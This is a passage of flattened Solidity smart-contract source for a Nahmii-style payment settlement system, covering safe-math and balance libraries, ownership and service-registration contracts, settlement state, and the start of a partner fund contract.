return bytes1(uint8(_b1)-32);
}
return _b1;
}
function _lower(bytes1 _b1)
private
pure
returns (bytes1) {
if (_b1 >= 0x41 && _b1 <= 0x5A) {
return bytes1(uint8(_b1)+32);
}
return _b1;
}
}
contract Beneficiary {
function receiveEthersTo(address wallet, string balanceType)
public
payable;
function receiveTokensTo(address wallet, string balanceType, int256 amount, address currencyCt,
uint256 currencyId, string standard)
public;
}
contract AccrualBeneficiary is Beneficiary {
event CloseAccrualPeriodEvent();
function closeAccrualPeriod(MonetaryTypesLib.Currency[])
public
{
emit CloseAccrualPeriodEvent();
}
}
library ConstantsLib {
function PARTS_PER()
public
pure
returns (int256)
{
return 1e18;
}
}
library CurrenciesLib {
using SafeMathUintLib for uint256;
struct Currencies {
MonetaryTypesLib.Currency[] currencies;
mapping(address => mapping(uint256 => uint256)) indexByCurrency;
}
function add(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
if (0 == self.indexByCurrency[currencyCt][currencyId]) {
self.currencies.push(MonetaryTypesLib.Currency(currencyCt, currencyId));
self.indexByCurrency[currencyCt][currencyId] = self.currencies.length;
}
}
function removeByCurrency(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
uint256 index = self.indexByCurrency[currencyCt][currencyId];
if (0 < index)
removeByIndex(self, index - 1);
}
function removeByIndex(Currencies storage self, uint256 index)
internal
{
require(index < self.currencies.length);
address currencyCt = self.currencies[index].ct;
uint256 currencyId = self.currencies[index].id;
if (index < self.currencies.length - 1) {
self.currencies[index] = self.currencies[self.currencies.length - 1];
self.indexByCurrency[self.currencies[index].ct][self.currencies[index].id] = index + 1;
}
self.currencies.length--;
self.indexByCurrency[currencyCt][currencyId] = 0;
}
function count(Currencies storage self)
internal
view
returns (uint256)
{
return self.currencies.length;
}
function has(Currencies storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return 0 != self.indexByCurrency[currencyCt][currencyId];
}
function getByIndex(Currencies storage self, uint256 index)
internal
view
returns (MonetaryTypesLib.Currency)
{
require(index < self.currencies.length);
return self.currencies[index];
}
function getByIndices(Currencies storage self, uint256 low, uint256 up)
internal
view
returns (MonetaryTypesLib.Currency[])
{
require(0 < self.currencies.length);
require(low <= up);
up = up.clampMax(self.currencies.length - 1);
MonetaryTypesLib.Currency[] memory _currencies = new MonetaryTypesLib.Currency[](up - low + 1);
for (uint256 i = low; i <= up; i++)
_currencies[i - low] = self.currencies[i];
return _currencies;
}
}
library DriipSettlementTypesLib {
enum SettlementRole {Origin, Target}
struct SettlementParty {
uint256 nonce;
address wallet;
bool done;
}
struct Settlement {
string settledKind;
bytes32 settledHash;
SettlementParty origin;
SettlementParty target;
}
}
library FungibleBalanceLib {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
struct Record {
int256 amount;
uint256 blockNumber;
}
struct Balance {
mapping(address => mapping(uint256 => int256)) amountByCurrency;
mapping(address => mapping(uint256 => Record[])) recordsByCurrency;
CurrenciesLib.Currencies inUseCurrencies;
CurrenciesLib.Currencies everUsedCurrencies;
}
function get(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256)
{
return self.amountByCurrency[currencyCt][currencyId];
}
function getByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256)
{
(int256 amount,) = recordByBlockNumber(self, currencyCt, currencyId, blockNumber);
return amount;
}
function set(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = amount;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function add(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub(_from, amount, currencyCt, currencyId);
add(_to, amount, currencyCt, currencyId);
}
function add_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer_nn(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub_nn(_from, amount, currencyCt, currencyId);
add_nn(_to, amount, currencyCt, currencyId);
}
function recordsCount(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.recordsByCurrency[currencyCt][currencyId].length;
}
function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256, uint256)
{
uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber);
return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (0, 0);
}
function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][index];
return (record.amount, record.blockNumber);
}
function lastRecord(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1];
return (record.amount, record.blockNumber);
}
function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.inUseCurrencies.has(currencyCt, currencyId);
}
function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.everUsedCurrencies.has(currencyCt, currencyId);
}
function updateCurrencies(Balance storage self, address currencyCt, uint256 currencyId)
internal
{
if (0 == self.amountByCurrency[currencyCt][currencyId] && self.inUseCurrencies.has(currencyCt, currencyId))
self.inUseCurrencies.removeByCurrency(currencyCt, currencyId);
else if (!self.inUseCurrencies.has(currencyCt, currencyId)) {
self.inUseCurrencies.add(currencyCt, currencyId);
self.everUsedCurrencies.add(currencyCt, currencyId);
}
}
function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return 0;
for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--)
if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber)
return i;
return 0;
}
}
contract Modifiable {
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
library MonetaryTypesLib {
struct Currency {
address ct;
uint256 id;
}
struct Figure {
int256 amount;
Currency currency;
}
struct NoncedAmount {
uint256 nonce;
int256 amount;
}
}
library NahmiiTypesLib {
enum ChallengePhase {Dispute, Closed}
struct OriginFigure {
uint256 originId;
MonetaryTypesLib.Figure figure;
}
struct IntendedConjugateCurrency {
MonetaryTypesLib.Currency intended;
MonetaryTypesLib.Currency conjugate;
}
struct SingleFigureTotalOriginFigures {
MonetaryTypesLib.Figure single;
OriginFigure[] total;
}
struct TotalOriginFigures {
OriginFigure[] total;
}
struct CurrentPreviousInt256 {
int256 current;
int256 previous;
}
struct SingleTotalInt256 {
int256 single;
int256 total;
}
struct IntendedConjugateCurrentPreviousInt256 {
CurrentPreviousInt256 intended;
CurrentPreviousInt256 conjugate;
}
struct IntendedConjugateSingleTotalInt256 {
SingleTotalInt256 intended;
SingleTotalInt256 conjugate;
}
struct WalletOperatorHashes {
bytes32 wallet;
bytes32 operator;
}
struct Signature {
bytes32 r;
bytes32 s;
uint8 v;
}
struct Seal {
bytes32 hash;
Signature signature;
}
struct WalletOperatorSeal {
Seal wallet;
Seal operator;
}
}
library SafeMathIntLib {
int256 constant INT256_MIN = int256((uint256(1) << 255));
int256 constant INT256_MAX = int256(~((uint256(1) << 255)));
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != INT256_MIN || b != - 1);
return a / b;
}
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a != - 1 || b != INT256_MIN);
require(b != - 1 || a != INT256_MIN);
int256 c = a * b;
require((b == 0) || (c / b == a));
return c;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
require((b >= 0 && a - b <= a) || (b < 0 && a - b > a));
return a - b;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function div_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b > 0);
return a / b;
}
function mul_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a * b;
require(a == 0 || c / a == b);
require(c >= 0);
return c;
}
function sub_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0 && b <= a);
return a - b;
}
function add_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a + b;
require(c >= a);
return c;
}
function abs(int256 a)
public
pure
returns (int256)
{
return a < 0 ? neg(a) : a;
}
function neg(int256 a)
public
pure
returns (int256)
{
return mul(a, - 1);
}
function toNonZeroInt256(uint256 a)
public
pure
returns (int256)
{
require(a > 0 && a < (uint256(1) << 255));
return int256(a);
}
function toInt256(uint256 a)
public
pure
returns (int256)
{
require(a >= 0 && a < (uint256(1) << 255));
return int256(a);
}
function toUInt256(int256 a)
public
pure
returns (uint256)
{
require(a >= 0);
return uint256(a);
}
function isNonZeroPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a > 0);
}
function isPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a >= 0);
}
function isNonZeroNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a < 0);
}
function isNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a <= 0);
}
function clamp(int256 a, int256 min, int256 max)
public
pure
returns (int256)
{
if (a < min)
return min;
return (a > max) ? max : a;
}
function clampMin(int256 a, int256 min)
public
pure
returns (int256)
{
return (a < min) ? min : a;
}
function clampMax(int256 a, int256 max)
public
pure
returns (int256)
{
return (a > max) ? max : a;
}
}
library SafeMathUintLib {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function clamp(uint256 a, uint256 min, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : ((a < min) ? min : a);
}
function clampMin(uint256 a, uint256 min)
public
pure
returns (uint256)
{
return (a < min) ? min : a;
}
function clampMax(uint256 a, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : a;
}
}
contract SelfDestructible {
bool public selfDestructionDisabled;
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
function destructor()
public
view
returns (address);
function disableSelfDestruction()
public
{
require(destructor() == msg.sender);
selfDestructionDisabled = true;
emit SelfDestructionDisabledEvent(msg.sender);
}
function triggerSelfDestruction()
public
{
require(destructor() == msg.sender);
require(!selfDestructionDisabled);
emit TriggerSelfDestructionEvent(msg.sender);
selfdestruct(msg.sender);
}
}
contract Ownable is Modifiable, SelfDestructible {
address public deployer;
address public operator;
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
function destructor()
public
view
returns (address)
{
return deployer;
}
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
address oldDeployer = deployer;
deployer = newDeployer;
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
address oldOperator = operator;
operator = newOperator;
emit SetOperatorEvent(oldOperator, newOperator);
}
}
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
contract Benefactor is Ownable {
address[] internal beneficiaries;
mapping(address => uint256) internal beneficiaryIndexByAddress;
event RegisterBeneficiaryEvent(address beneficiary);
event DeregisterBeneficiaryEvent(address beneficiary);
function registerBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
if (beneficiaryIndexByAddress[beneficiary] > 0)
return false;
beneficiaries.push(beneficiary);
beneficiaryIndexByAddress[beneficiary] = beneficiaries.length;
emit RegisterBeneficiaryEvent(beneficiary);
return true;
}
function deregisterBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
if (beneficiaryIndexByAddress[beneficiary] == 0)
return false;
uint256 idx = beneficiaryIndexByAddress[beneficiary] - 1;
if (idx < beneficiaries.length - 1) {
beneficiaries[idx] = beneficiaries[beneficiaries.length - 1];
beneficiaryIndexByAddress[beneficiaries[idx]] = idx + 1;
}
beneficiaries.length--;
beneficiaryIndexByAddress[beneficiary] = 0;
emit DeregisterBeneficiaryEvent(beneficiary);
return true;
}
function isRegisteredBeneficiary(address beneficiary)
public
view
returns (bool)
{
return beneficiaryIndexByAddress[beneficiary] > 0;
}
function registeredBeneficiariesCount()
public
view
returns (uint256)
{
return beneficiaries.length;
}
}
contract AccrualBenefactor is Benefactor {
using SafeMathIntLib for int256;
mapping(address => int256) private _beneficiaryFractionMap;
int256 public totalBeneficiaryFraction;
event RegisterAccrualBeneficiaryEvent(address beneficiary, int256 fraction);
event DeregisterAccrualBeneficiaryEvent(address beneficiary);
function registerBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
return registerFractionalBeneficiary(beneficiary, ConstantsLib.PARTS_PER());
}
function registerFractionalBeneficiary(address beneficiary, int256 fraction)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
require(fraction > 0);
require(totalBeneficiaryFraction.add(fraction) <= ConstantsLib.PARTS_PER());
if (!super.registerBeneficiary(beneficiary))
return false;
_beneficiaryFractionMap[beneficiary] = fraction;
totalBeneficiaryFraction = totalBeneficiaryFraction.add(fraction);
emit RegisterAccrualBeneficiaryEvent(beneficiary, fraction);
return true;
}
function deregisterBeneficiary(address beneficiary)
public
onlyDeployer
notNullAddress(beneficiary)
returns (bool)
{
if (!super.deregisterBeneficiary(beneficiary))
return false;
totalBeneficiaryFraction = totalBeneficiaryFraction.sub(_beneficiaryFractionMap[beneficiary]);
_beneficiaryFractionMap[beneficiary] = 0;
emit DeregisterAccrualBeneficiaryEvent(beneficiary);
return true;
}
function beneficiaryFraction(address beneficiary)
public
view
returns (int256)
{
return _beneficiaryFractionMap[beneficiary];
}
}
contract CommunityVotable is Ownable {
CommunityVote public communityVote;
bool public communityVoteFrozen;
event SetCommunityVoteEvent(CommunityVote oldCommunityVote, CommunityVote newCommunityVote);
event FreezeCommunityVoteEvent();
function setCommunityVote(CommunityVote newCommunityVote)
public
onlyDeployer
notNullAddress(newCommunityVote)
notSameAddresses(newCommunityVote, communityVote)
{
require(!communityVoteFrozen);
CommunityVote oldCommunityVote = communityVote;
communityVote = newCommunityVote;
emit SetCommunityVoteEvent(oldCommunityVote, newCommunityVote);
}
function freezeCommunityVote()
public
onlyDeployer
{
communityVoteFrozen = true;
emit FreezeCommunityVoteEvent();
}
modifier communityVoteInitialized() {
require(communityVote != address(0));
_;
}
}
contract CommunityVote is Ownable {
mapping(address => bool) doubleSpenderByWallet;
uint256 maxDriipNonce;
uint256 maxNullNonce;
bool dataAvailable;
constructor(address deployer) Ownable(deployer) public {
dataAvailable = true;
}
function isDoubleSpenderWallet(address wallet)
public
view
returns (bool)
{
return doubleSpenderByWallet[wallet];
}
function getMaxDriipNonce()
public
view
returns (uint256)
{
return maxDriipNonce;
}
function getMaxNullNonce()
public
view
returns (uint256)
{
return maxNullNonce;
}
function isDataAvailable()
public
view
returns (bool)
{
return dataAvailable;
}
}
contract Servable is Ownable {
struct ServiceInfo {
bool registered;
uint256 activationTimestamp;
mapping(bytes32 => bool) actionsEnabledMap;
bytes32[] actionsList;
}
mapping(address => ServiceInfo) internal registeredServicesMap;
uint256 public serviceActivationTimeout;
event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds);
event RegisterServiceEvent(address service);
event RegisterServiceDeferredEvent(address service, uint256 timeout);
event DeregisterServiceEvent(address service);
event EnableServiceActionEvent(address service, string action);
event DisableServiceActionEvent(address service, string action);
function setServiceActivationTimeout(uint256 timeoutInSeconds)
public
onlyDeployer
{
serviceActivationTimeout = timeoutInSeconds;
emit ServiceActivationTimeoutEvent(timeoutInSeconds);
}
function registerService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, 0);
emit RegisterServiceEvent(service);
}
function registerServiceDeferred(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, serviceActivationTimeout);
emit RegisterServiceDeferredEvent(service, serviceActivationTimeout);
}
function deregisterService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
registeredServicesMap[service].registered = false;
emit DeregisterServiceEvent(service);
}
function enableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
bytes32 actionHash = hashString(action);
require(!registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = true;
registeredServicesMap[service].actionsList.push(actionHash);
emit EnableServiceActionEvent(service, action);
}
function disableServiceAction(address service, string action)
public
onlyDeployer
notNullOrThisAddress(service)
{
bytes32 actionHash = hashString(action);
require(registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = false;
emit DisableServiceActionEvent(service, action);
}
function isRegisteredService(address service)
public
view
returns (bool)
{
return registeredServicesMap[service].registered;
}
function isRegisteredActiveService(address service)
public
view
returns (bool)
{
return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp;
}
function isEnabledServiceAction(address service, string action)
public
view
returns (bool)
{
bytes32 actionHash = hashString(action);
return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash];
}
function hashString(string _string)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_string));
}
function _registerService(address service, uint256 timeout)
private
{
if (!registeredServicesMap[service].registered) {
registeredServicesMap[service].registered = true;
registeredServicesMap[service].activationTimestamp = block.timestamp + timeout;
}
}
modifier onlyActiveService() {
require(isRegisteredActiveService(msg.sender));
_;
}
modifier onlyEnabledServiceAction(string action) {
require(isEnabledServiceAction(msg.sender, action));
_;
}
}
contract DriipSettlementState is Ownable, Servable, CommunityVotable {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
string constant public INIT_SETTLEMENT_ACTION = "init_settlement";
string constant public SET_SETTLEMENT_ROLE_DONE_ACTION = "set_settlement_role_done";
string constant public SET_MAX_NONCE_ACTION = "set_max_nonce";
string constant public SET_MAX_DRIIP_NONCE_ACTION = "set_max_driip_nonce";
string constant public SET_FEE_TOTAL_ACTION = "set_fee_total";
uint256 public maxDriipNonce;
DriipSettlementTypesLib.Settlement[] public settlements;
mapping(address => uint256[]) public walletSettlementIndices;
mapping(address => mapping(uint256 => uint256)) public walletNonceSettlementIndex;
mapping(address => mapping(address => mapping(uint256 => uint256))) public walletCurrencyMaxNonce;
mapping(address => mapping(address => mapping(address => mapping(address => mapping(uint256 => MonetaryTypesLib.NoncedAmount))))) public totalFeesMap;
event InitSettlementEvent(DriipSettlementTypesLib.Settlement settlement);
event SetSettlementRoleDoneEvent(address wallet, uint256 nonce,
DriipSettlementTypesLib.SettlementRole settlementRole, bool done);
event SetMaxNonceByWalletAndCurrencyEvent(address wallet, MonetaryTypesLib.Currency currency,
uint256 maxNonce);
event SetMaxDriipNonceEvent(uint256 maxDriipNonce);
event UpdateMaxDriipNonceFromCommunityVoteEvent(uint256 maxDriipNonce);
event SetTotalFeeEvent(address wallet, Beneficiary beneficiary, address destination,
MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount totalFee);
constructor(address deployer) Ownable(deployer) public {
}
function settlementsCount()
public
view
returns (uint256)
{
return settlements.length;
}
function settlementsCountByWallet(address wallet)
public
view
returns (uint256)
{
return walletSettlementIndices[wallet].length;
}
function settlementByWalletAndIndex(address wallet, uint256 index)
public
view
returns (DriipSettlementTypesLib.Settlement)
{
require(walletSettlementIndices[wallet].length > index);
return settlements[walletSettlementIndices[wallet][index] - 1];
}
function settlementByWalletAndNonce(address wallet, uint256 nonce)
public
view
returns (DriipSettlementTypesLib.Settlement)
{
require(0 < walletNonceSettlementIndex[wallet][nonce]);
return settlements[walletNonceSettlementIndex[wallet][nonce] - 1];
}
function initSettlement(string settledKind, bytes32 settledHash, address originWallet,
uint256 originNonce, address targetWallet, uint256 targetNonce)
public
onlyEnabledServiceAction(INIT_SETTLEMENT_ACTION)
{
if (
0 == walletNonceSettlementIndex[originWallet][originNonce] &&
0 == walletNonceSettlementIndex[targetWallet][targetNonce]
) {
settlements.length++;
uint256 index = settlements.length - 1;
settlements[index].settledKind = settledKind;
settlements[index].settledHash = settledHash;
settlements[index].origin.nonce = originNonce;
settlements[index].origin.wallet = originWallet;
settlements[index].target.nonce = targetNonce;
settlements[index].target.wallet = targetWallet;
emit InitSettlementEvent(settlements[index]);
index++;
walletSettlementIndices[originWallet].push(index);
walletSettlementIndices[targetWallet].push(index);
walletNonceSettlementIndex[originWallet][originNonce] = index;
walletNonceSettlementIndex[targetWallet][targetNonce] = index;
}
}
function isSettlementRoleDone(address wallet, uint256 nonce,
DriipSettlementTypesLib.SettlementRole settlementRole)
public
view
returns (bool)
{
uint256 index = walletNonceSettlementIndex[wallet][nonce];
if (0 == index)
return false;
if (DriipSettlementTypesLib.SettlementRole.Origin == settlementRole)
return settlements[index - 1].origin.done;
else
return settlements[index - 1].target.done;
}
function setSettlementRoleDone(address wallet, uint256 nonce,
DriipSettlementTypesLib.SettlementRole settlementRole, bool done)
public
onlyEnabledServiceAction(SET_SETTLEMENT_ROLE_DONE_ACTION)
{
uint256 index = walletNonceSettlementIndex[wallet][nonce];
require(0 != index);
if (DriipSettlementTypesLib.SettlementRole.Origin == settlementRole)
settlements[index - 1].origin.done = done;
else
settlements[index - 1].target.done = done;
emit SetSettlementRoleDoneEvent(wallet, nonce, settlementRole, done);
}
function setMaxDriipNonce(uint256 _maxDriipNonce)
public
onlyEnabledServiceAction(SET_MAX_DRIIP_NONCE_ACTION)
{
maxDriipNonce = _maxDriipNonce;
emit SetMaxDriipNonceEvent(maxDriipNonce);
}
function updateMaxDriipNonceFromCommunityVote()
public
{
uint256 _maxDriipNonce = communityVote.getMaxDriipNonce();
if (0 == _maxDriipNonce)
return;
maxDriipNonce = _maxDriipNonce;
emit UpdateMaxDriipNonceFromCommunityVoteEvent(maxDriipNonce);
}
function maxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256)
{
return walletCurrencyMaxNonce[wallet][currency.ct][currency.id];
}
function setMaxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency currency,
uint256 maxNonce)
public
onlyEnabledServiceAction(SET_MAX_NONCE_ACTION)
{
walletCurrencyMaxNonce[wallet][currency.ct][currency.id] = maxNonce;
emit SetMaxNonceByWalletAndCurrencyEvent(wallet, currency, maxNonce);
}
function totalFee(address wallet, Beneficiary beneficiary, address destination,
MonetaryTypesLib.Currency currency)
public
view
returns (MonetaryTypesLib.NoncedAmount)
{
return totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id];
}
function setTotalFee(address wallet, Beneficiary beneficiary, address destination,
MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount _totalFee)
public
onlyEnabledServiceAction(SET_FEE_TOTAL_ACTION)
{
totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id] = _totalFee;
emit SetTotalFeeEvent(wallet, beneficiary, destination, currency, _totalFee);
}
}
contract TransferController {
event CurrencyTransferred(address from, address to, uint256 value,
address currencyCt, uint256 currencyId);
function isFungible()
public
view
returns (bool);
function receive(address from, address to, uint256 value, address currencyCt, uint256 currencyId)
public;
function approve(address to, uint256 value, address currencyCt, uint256 currencyId)
public;
function dispatch(address from, address to, uint256 value, address currencyCt, uint256 currencyId)
public;
function getReceiveSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("receive(address,address,uint256,address,uint256)"));
}
function getApproveSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("approve(address,uint256,address,uint256)"));
}
function getDispatchSignature()
public
pure
returns (bytes4)
{
return bytes4(keccak256("dispatch(address,address,uint256,address,uint256)"));
}
}
contract TransferControllerManageable is Ownable {
TransferControllerManager public transferControllerManager;
event SetTransferControllerManagerEvent(TransferControllerManager oldTransferControllerManager,
TransferControllerManager newTransferControllerManager);
function setTransferControllerManager(TransferControllerManager newTransferControllerManager)
public
onlyDeployer
notNullAddress(newTransferControllerManager)
notSameAddresses(newTransferControllerManager, transferControllerManager)
{
TransferControllerManager oldTransferControllerManager = transferControllerManager;
transferControllerManager = newTransferControllerManager;
emit SetTransferControllerManagerEvent(oldTransferControllerManager, newTransferControllerManager);
}
function transferController(address currencyCt, string standard)
internal
view
returns (TransferController)
{
return transferControllerManager.transferController(currencyCt, standard);
}
modifier transferControllerManagerInitialized() {
require(transferControllerManager != address(0));
_;
}
}
contract PartnerFund is Ownable, Beneficiary, TransferControllerManageable {
using FungibleBalanceLib for FungibleBalanceLib.Balance;
using TxHistoryLib for TxHistoryLib.TxHistory;
using SafeMathIntLib for int256;
using Strings for string;
struct Partner {
bytes32 nameHash;
uint256 fee;
address wallet;
uint256 index;
bool operatorCanUpdate;
bool partnerCanUpdate;
FungibleBalanceLib.Balance active;
FungibleBalanceLib.Balance staged;
TxHistoryLib.TxHistory txHistory;
FullBalanceHistory[] fullBalanceHistory;
}
struct FullBalanceHistory {
uint256 listIndex;
int256 balance;
uint256 blockNumber;
}
Partner[] private partners;
mapping(bytes32 => uint256) private _indexByNameHash;
mapping(address => uint256) private _indexByWallet;
event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId);
event RegisterPartnerByNameEvent(string name, uint256 fee, address wallet);
event RegisterPartnerByNameHashEvent(bytes32 nameHash, uint256 fee, address wallet);
event SetFeeByIndexEvent(uint256 index, uint256 oldFee, uint256 newFee);
event SetFeeByNameEvent(string name, uint256 oldFee, uint256 newFee);
event SetFeeByNameHashEvent(bytes32 nameHash, uint256 oldFee, uint256 newFee);
event SetFeeByWalletEvent(address wallet, uint256 oldFee, uint256 newFee);
event SetPartnerWalletByIndexEvent(uint256 index, address oldWallet, address newWallet);
event SetPartnerWalletByNameEvent(string name, address oldWallet, address newWallet);
event SetPartnerWalletByNameHashEvent(bytes32 nameHash, address oldWallet, address newWallet);
event SetPartnerWalletByWalletEvent(address oldWallet, address newWallet);
event StageEvent(address from, int256 amount, address currencyCt, uint256 currencyId);
event WithdrawEvent(address to, int256 amount, address currencyCt, uint256 currencyId);
constructor(address deployer) Ownable(deployer) public {
}
function() public payable {
_receiveEthersTo(
indexByWallet(msg.sender) - 1, SafeMathIntLib.toNonZeroInt256(msg.value)
);
}
function receiveEthersTo(address tag, string)
public
payable
{
_receiveEthersTo(
uint256(tag) - 1, SafeMathIntLib.toNonZeroInt256(msg.value)
);
}
function receiveTokens(string, int256 amount, address currencyCt,
uint256 currencyId, string standard)
public
{
_receiveTokensTo(
indexByWallet(msg.sender) - 1, amount, currencyCt, currencyId, standard
);
}
